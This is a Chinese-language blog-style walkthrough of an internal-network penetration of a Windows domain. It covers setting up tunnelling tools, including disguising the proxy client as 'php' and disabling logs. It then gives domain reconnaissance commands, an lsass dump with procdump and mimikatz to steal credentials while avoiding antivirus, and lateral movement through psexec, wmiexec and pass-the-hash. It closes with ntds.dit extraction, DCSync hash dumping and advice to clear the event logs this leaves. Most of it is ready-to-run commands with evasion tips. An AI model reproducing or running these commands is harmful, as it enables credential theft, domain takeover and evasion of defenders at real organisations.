菜菜鸡最近进入了一个内网,但是菜菜鸡之前没有打过内网,菜菜鸡表示有点不知所措,但是菜菜鸡的老大,大菜菜鸡表示不要慌,大家都没打过,边打边学,这样菜菜鸡就开始了第一次内网渗透之旅。
由于内网庞大,不可能一一介绍知识,所以本文主要介绍一些在本次内网渗透常用且好用的工具、方法和更快达到目标的思路。
不管在任何渗透中,好的代理工具是必不可少的,好的代理工具能让你在内网中七进七出,穿破对方的防线。
本篇幅有点小长,但可以关注一下里面的一些小trick或者优化。
NPS是一款用go写的内网穿透工具,它的特性有:
1. 几乎支持所有协议
2. 支持内网http代理、内网socks5代理、p2p等
3. 简洁但功能强大的WEB管理界面
4. 支持服务端、客户端同时控制
5. 扩展功能强大
6. 全平台兼容,一键注册为服务
基于以上特性,我们很乐意让它成为我们主要的代理工具。特别是存在web管理界面,使多个客户端管理变得十分轻松,及其存在webapi,可以让我们做一些自动化的事情。
配置
a. nps
nps配置的主要关注的点在:
# 是否开启http proxy 该功能类似于nginx实现https的处理
http_proxy_ip=
http_proxy_port=
https_proxy_port=
https_just_proxy=
# bridge的类型和port 选一个自己想要的port即可
bridge_type=tcp
bridge_port=8888
bridge_ip=0.0.0.0
# 日志等级和记录 建议不记
log_level=7
log_path=/dev/null
# 客户端连接使用vkey
public_vkey=iamavkey
# nps web管理端配置 建议配置web_host和web_base_url更加安全
web_host= test.com
web_username=user
web_password=pass
web_port = 12345
web_ip=0.0.0.0
web_base_url=/only_login
# 端口复用
官方文档如下:
在一些严格的网络环境中,对端口的个数等限制较大,nps支持强大端口复用功能。将bridge_port、 http_proxy_port、 https_proxy_port 、web_port都设置为同一端口,也能正常使用。
使用时将需要复用的端口设置为与bridge_port一致即可,将自动识别。
如需将web管理的端口也复用,需要配置web_host也就是一个二级域名以便区分
除了以上配置,在实际使用中还需要关心客户端的心跳检测频率和超时检测:
客户端与服务端间会间隔5s相互发送延迟测量包,这个时间间隔不可修改。 可修改延迟测量包丢包的次数,默认为60也就是5分钟都收不到一个延迟测量回包,则会断开客户端连接。 值得注意的是需要客户端的socket关闭,才会进行重连,也就是当客户端无法收到服务端的fin包时,只有客户端自行关闭socket才行。 也就是假如服务端设置为较低值,而客户端设置较高值,而此时服务端断开连接而客户端无法收到服务端的fin包,客户端也会继续等着直到触发客户端的超时设置。
在nps.conf或npc.conf中设置disconnect_timeout即可,客户端还可附带-disconnect_timeout=60参数启动
如果觉得这个频率过快可以考虑修改源码来适配当前环境。
b. npc
npc启动方式可以分为两种,同时npc也支持注册到系统服务的形式进行安装和启动。
无文件形式启动:
这种方式首先需要在web端新建一个客户端,
配置完了之后,点开该客户端旁边的+(-),可以展开(收回)客户端的配置详情,其中就有npc启动命令,
在这里分享一些小trick,如果在linux机器上以无文件形式启动,可以用以下命令伪装成php或java:
mv npc php
export PATH=.:$PATH
# 环境变量设置vkey
export NPC_SERVER_ADDR=1.1.1.1:8024
export NPC_SERVER_VKEY=xxxxx
php
配置文件形式启动:
./npc -config=npc配置文件路径
具体配置可参考官方文档。
bug修复
在平时使用中,我们发现npc在windows中使用存在一些Bug:计划任务或其它非服务的system权限npc无法启动,经过debug发现是service这个依赖包存在问题,跟开发团队沟通他们建议自己先临时解决。这是一个非常重要的功能,因为如果我们想要在不保持某个用户登陆的情况下定时运行npc,就需要计划任务/ru SYSTEM选项
查看npc.go代码可以发现npc是支持不调用service就启动的,所以临时解决方案如下:
s, err := service.New(prg, svcConfig)
if err != nil {
修改成
if false {
或者将if里代码提取出来,service代码去掉
简介
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
作者已经停止更新,但是网上还是可以找到源码。网上已经有很多关于ew的使用教程,这里不赘述了。
看到这里可能很多读者又要问了,我已经有了npc、frp和chisel了,为啥还要用ew呢?那么我们考虑一个场景,对方内网有台机器不出网,并且我们只能通过这台机器到达目标网段,这个时候该怎么办?答案很简单,就是使用ew直接在该跳板机开启一个正向socks5监听端口,我们就可以通过该socks5到达目标网段。
简介
除了ew外,在windows还可以使用powershell脚本进行正向的socks5连接。Invoke-SocksProxy就实现了这个功能,当然它还可以进行反向socks5回弹,但是不推荐,或者需要修改源码使用。原因在于它的心跳在于5s,并且时不时会中断,需要修改和测试。
使用
在powershell运行
Import-Module .\Invoke-SocksProxy.psm1;Invoke-SocksProxy -bindPort 1080
即可在机器上监听1080端口并转发请求
当我们获得一台内网普通机器的权限的时候,需要进行初步的信息收集,才可以确定我们下一步的目标。
假设菜菜鸡现在获取了一台在域内的windows权限,菜菜鸡该做什么呢?上网一搜,唰的一下,出来一堆:
获取当前所在域的名称
a. net config Workstation
net config Workstation
计算机名 \\DC
计算机全名 DC.test.com
用户名 Administrator
工作站域 test
工作站域 DNS 名称 test.com
登录域 test
命令成功完成。
其中工作站域即是域名称
b. net time /domain
net time /domain
\\DC.test.com 的当前时间是 2021/1/1 20:29:16
c. systeminfo
d. ipconfig /all
域内相关信息收集
a. 基本信息查询
# 查看域管
net group "domain admins" /domain
# 获得企业管理员列表
net group "enterprise admins" /domain
# 获得域控列表
net group "domain controllers" /domain
# 获得所有域用户列表
net user /domain > C:\Windows\Temp\user.txt
# 获得所有域成员计算机列表
net group "domain computers" /domain > C:\Windows\Temp\com.txt
# 获取所有的组,这一步其实是非常重要的,因为专业运维都会分组,并且命名规范,所以如果想要精确打击目标,比如财务、hr、管理员组,就可以直奔目标而去
net group /domain > C:\Windows\Temp\group.txt
# 获取域信任信息
nltest /domain_trusts
# 查询域所有spn,也可以查到dc及其主机名,这个命令在搜集计算机分组上也很有用
setspn -T target.com -Q */* > C:\Windows\Temp\spn.txt
# nslookup 查询该域所有域控及对应主机名 为CVE-2020-1472 ZeroLogon做准备
nslookup -type=all _ldap._tcp.dc._msdcs.test.com
_ldap._tcp.dc._msdcs.test.com SRV service loc
priority = 0
weight = 100
port = 389
svr hostname = dc.test.com
dc.test.com internet address = 1.1.1.1
# 一般来讲,域内DNS跟域控会在一起,所以可以通过nslookup获取dns服务器,不过具有局限性,因为域内通常有多个域控服务器
nslookup google.com
b. 抓取本机hash
菜菜鸡这个时候已经获取了域的基本信息,但是还是有点迷茫,接下来能干什么?菜菜鸡想起了之前在某大厂实习的时候,用的也是域,菜菜鸡用自己的账号本地登录过其它机器,那远程登陆的权限是不是也有?但是通过一番询问和查证,得到的结果是一般都不行。但是域管就可以,所以就开始了找域管账号密码之旅。
由于菜菜鸡进入的是一个sharepoint系统,很大概率本机保存着某些域管的凭据,所以抓取本地hash就成了我们的首要目标。
抓取本地hash网上也有很多文章了,这里介绍一种不上传mimikatz抓取hash的方式,可以有效的规避杀软:
1). 上传procdump64.exe ,procdump是微软官方提供的工具,所以不用担心免杀问题;
2). 运行 procdump64.exe -accepteula -64 -ma lsass.exe lsass.dmp;
3). 下载lsass.dmp;
4). 在本地运行mimikatz
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full
即可看到所有本地保存的hash
幸运的是,我们确实拿到了域管的hash,并且还是明文的,虽然不是明文也无所谓(后面才知道)
当我们拿到域管密码的时候,如果不想进行远程登录但想在目标机器上执行命令,可以采用以下几种方法:
psexec
psexec是微软官方的PsTools里的一款工具,利用445或者139端口,开启一个交互式的命令控制台。
psexec主要通过admin$和ipc$共享,将psexesvc.exe文件上传,然后通过用于启动服务二进制文件的服务控制管理器(sc),在目标主机上创建命名管道,并将该管道用于输入和输出操作,就可以获得一个交互式的命令控制台。原理图如下:
详细分析可参考这篇文章。
用法:
# -s 为Run the remote process in the System account
PsExec.exe \\xxx.xxx.xxx.xxx -u domain.com\user_name -p password -s cmd
同时要考虑psexec会在对方机器留下的痕迹:
a. PSEXESVC 服务将会安装在远程系统中,如果是断网退出,psexec服务和psexec.exe不会被删除;
b. 生成 Event 4697、7045、4672 这3种事件日志,主要是内容是psexec服务启动和凭据认证。
wmic
WMIC是一款命令行工具,不但可以管理本地计算机,还可以管理远程计算机。缺点是不会进行回显,所以可以结合写文件和smb读文件进行命令执行。
用法:
wmic /node:192.168.1.158 /user:pt007 /password:admin123 process call create "cmd.exe /c ipconfig>d:\result.txt"
wmic在平常渗透中用的比较少,但是在某些特定场景可以使用,比如需要特定用户的权限去执行命令。
wmiexec
wmiexec.py是impacket里的一个组件,类似于smbexec的方法,但是通过WMI执行命令,所以它补足了wmic不能回显的缺点。
用法:
python3 wmiexec.py test.com/[email protected] -hashes xxxx:xxx(LMHASH:NTHASH)
看到这里菜菜鸡不禁思考了起来,wmiexec与psexec区别到底是啥呢?在实践环境中该用哪个呢?
我们可以重新梳理下它们的流程以及要利用到的端口:
psexec:
1. 提供凭据,SMB验证
2. 使用IPC$和admin$共享上传psexec.exe
3. 通过远程调用创建服务并启动
4. 用命令管道进行输入输出处理
5. 结束后删除psexec.exe和服务
依赖于445端口,可取得system权限
wmiexec:
1. 提供凭据,SMB验证
2. 提供凭据,建立DCOM连接
3. 输入命令
4. 对命令进行拼接处理(将命令结果输出到ADMIN$),并利用建立好的DCOM连接和__win32Process执行命令
5. 取回结果并显示,然后删除结果文件(OUTPUT_FILENAME = '__' + str(time.time()))
依赖于135、445端口,不需要system权限,但必须要是admin权限
综上,wmiexec与psexec相比:
优点:
a. 无exe落地;
b. 不会在对方的机器上启动服务,只会留下认证日志。
缺点:
a. 需要135端口;
b. 会有输出结果文件落地;
c. 经过流量抓包,发现命令是明文传输的。
所以如果在流量审查比较严格和135端口不通的环境中,菜菜鸡会考虑用psexec,如果在日志审查严格的环境中,菜菜鸡会考虑使用wmiexec。
除此之外,还要考虑杀软、防火墙和域策略,菜菜鸡还没测过在杀软环境下psexec和wmiexec的表现,所以任重而道远。
pth
pth(pass the hash)是一种利用NTLM哈希来向远程服务器或服务进行身份验证,从而绕过使用明文密码限制的技术。根据wikipedia的介绍:
在使用NTLM身份验证的系统或服务上,用户密码永远不会以明文形式通过网络发送。相反,它们像域控制器一样作为哈希提供给请求系统,作为对质询-响应身份验证方案的响应。
本机Windows应用程序向用户询问明文密码,然后调用LsaLogonUser之类的API,将该密码转换为一个或两个哈希值(LM或NT哈希),然后在NTLM身份验证期间将其发送到远程服务器。对这种机制的分析表明,成功完成网络身份验证不需要明文密码,只需要哈希即可。
如果攻击者拥有用户密码的哈希值,则无需强行使用明文密码;他们可以简单地使用他们获取的任意用户帐户的哈希值来针对远程系统进行身份验证并模拟该用户。换句话说,从攻击者的角度来看,哈希在功能上等同于生成它们的原始密码。
可以大致看出pth是利用NTLM认证机制的特性进行哈希传递,这会使在渗透场景中,使用NTLM认证的任何服务或服务器,例如SMB、WEB应用等,变得十分脆弱。
废话不多说,直接举几个栗子:
下面都是使用mimikatz来进行pth攻击的例子
a. psexec
privilege::debug
sekurlsa::pth /user:user /domain:test /ntlm:xxxxxxxx
PsExec.exe /accepteula \\192.168.1.1 cmd.exe
b. wmiexec
wmiexec就是用的hash
python3 wmiexec.py test.com/[email protected] -hashes xxxx:xxx(LMHASH:NTHASH)
c. rdp
privilege::debug
sekurlsa::pth /user:<user name> /domain:<domain name> /ntlm:<the user's ntlm hash> /run:"mstsc.exe /restrictedadmin"
然后输入地址直接连接就可以了。
这个默认是不开的,需要开启策略:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
如果有特定用户RDP需求可以通过psexec上去开启策略然后RDP上去。
d. web application
如果使用了NTLM认证的网站,例如在IIS配置了NTLM认证,也可以使用pth攻击,具体可以查看这篇文章。
privilege::debug
sekurlsa::pth /user:pth /ntlm:57f5f9f45e6783753407ae3a8b13b032 /domain:TEST /run:cmd.exe
在弹出的命令行执行
"C:\Program Files\internet explorer\iexplore.exe"
在IE-Internet选项-安全-本地Internet-站点-高级,添加目标站点到区域,
然后访问目标网站即可完成NTLM认证。
到现在为止,菜菜鸡已经有了意大利炮,可以向域控发起攻击了。
现在菜菜鸡已经登陆上域控了,那么菜菜鸡下一步该做什么呢?这里不禁要思考,域控有什么?通常来说,域控通常会有:
1. 域所有用户的hash和域组织结构
2. DNS
3. 可能保存其它域管的明文密码
4. 域认证日志
我们首要目标是域所有用户的hash和域组织结构,其次再是DNS和域认证日志
ntds.dit导出
Ntds.dit是主要的AD数据库,包括有关域用户,组和组成员身份的信息。它还包括域中所有用户的密码哈希值。为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。
但通常我们没办法直接复制它,直接复制会提示"文件正在使用",所以我们可以通过Shadow Copy来复制它。
参考这篇文章,可以知道系统自带两个命令:ntdsutil和vssadmin,通过这两个命令可以将ntds.dit导出,不过会产生Event ID为7036和98的日志,注意清除,下面以ntdsutil为例:
a. 创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit
该命令会返回快照的guid。
b. 挂载快照
ntdsutil snapshot "mount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
该命令会返回挂载到的位置。
c. 复制ntds.dit
copy C:\$SNAP_202101181507_VOLUMEC$\windows\NTDS\ntds.dit c:\ntds.dit
d. 卸载快照
ntdsutil snapshot "unmount {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
e. 删除快照
ntdsutil snapshot "delete {88663f87-3791-4ee4-8fe6-d5172fc85748}" quit quit
f. 查看是否完成卸载和删除
ntdsutil snapshot "List All" quit quit
ntdsutil snapshot "List Mounted" quit quit
然后再运行:
reg save HKLM\SYSTEM sys.hiv
将sys.hiv拖回来,配合ntds.dit就可以将数据库给解出。
除此之外,还有很多种利用Shadow Copy的方法,但原理都大同小异。
域hash导出
域hash导出的方法有很多种, 下面举三个例子:
a. ntds.dit
在上文中,我们已经获取到了ntds.dit和HKLM\SYSTEM注册表,利用Impacket的secretsdump.py就可以解出:
python secretsdump.py -ntds ntds.dit -system registry/SYSTEM LOCAL --outputfile hash.txt
b. mimikatz
利用mimikatz也可以导出域的hash,并且不一定要在域控上,但权限要够:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
c. secretsdump.py
secretsdump.py是Impacket里的一个脚本,跟wmiexec一样可以用hash认证:
python secretsdump.py test.com/[email protected] -just-dc -hashes xxxxx:xxxxx
DNS记录导出
在域环境中,域控通常也承担DNS的职能,所以我们可以直接从域控上导出该域控管理的DNS记录。
# 枚举出所有区域,本域或域林中其它区域管理的区域
Dnscmd DC.test.com /EnumZones
# 更详细的列出某个域名的DNS记录,该域名得是该域管理下的
Dnscmd . /ZonePrint test.com
# 简洁的列出某个域名的DNS记录
Dnscmd . /EnumRecords test.com .
下面给出一个网上找的powershell导出Dns的脚本,这个导出的DNS记录也比较详细:
# powershell 导dns
$Zones = @(Get-DnsServerZone)
ForEach ($Zone in $Zones) {
Write-Host "`n$($Zone.ZoneName)" -ForegroundColor "Green"
$Zone | Get-DnsServerResourceRecord |fl
}
如果是不在域控的情况下,也可以利用dnscmd远程导dns记录,不过要借助mimikatz的pth功能。
域认证记录导出
利用命令:
wevtutil qe security /q:"Event[System[(EventID=4624 or EventID=4768 or EventID=4776)]]" /f:text /rd:true > C:\Windows\temp\Evtlogon.txt
将经过该域控认证的认证日志导出,其中包含了一些用户名和被登陆机器的IP。
在经过中期信息收集之后,后期的扩展目标就不是单纯的某台机器,而是人与文档,可以尝试着根据在域控收集到的组织结构和域认证记录找到某个部门的IP段从而进行定向攻击,提升效率。总而言之还是需要大量的信息收集才能达到目的,最终菜菜鸡也通过翻文档和翻机器找到想要的东西,完成了域的渗透。
在真实环境中,域的复杂程度取决于域的大小、运维人员的专业程度,有时候运维人员不专业,网段不隔离,没有防火墙,没有流量审计,会让整个渗透变得十分简单,但是如果做得十分专业,网段隔离,有防火墙,有流量审计等,会让整个渗透变得十分困难,这个时候就十分考验菜菜鸡的对抗能力了,但是借助好的方法和工具往往能如虎添翼,让敌人措手不及。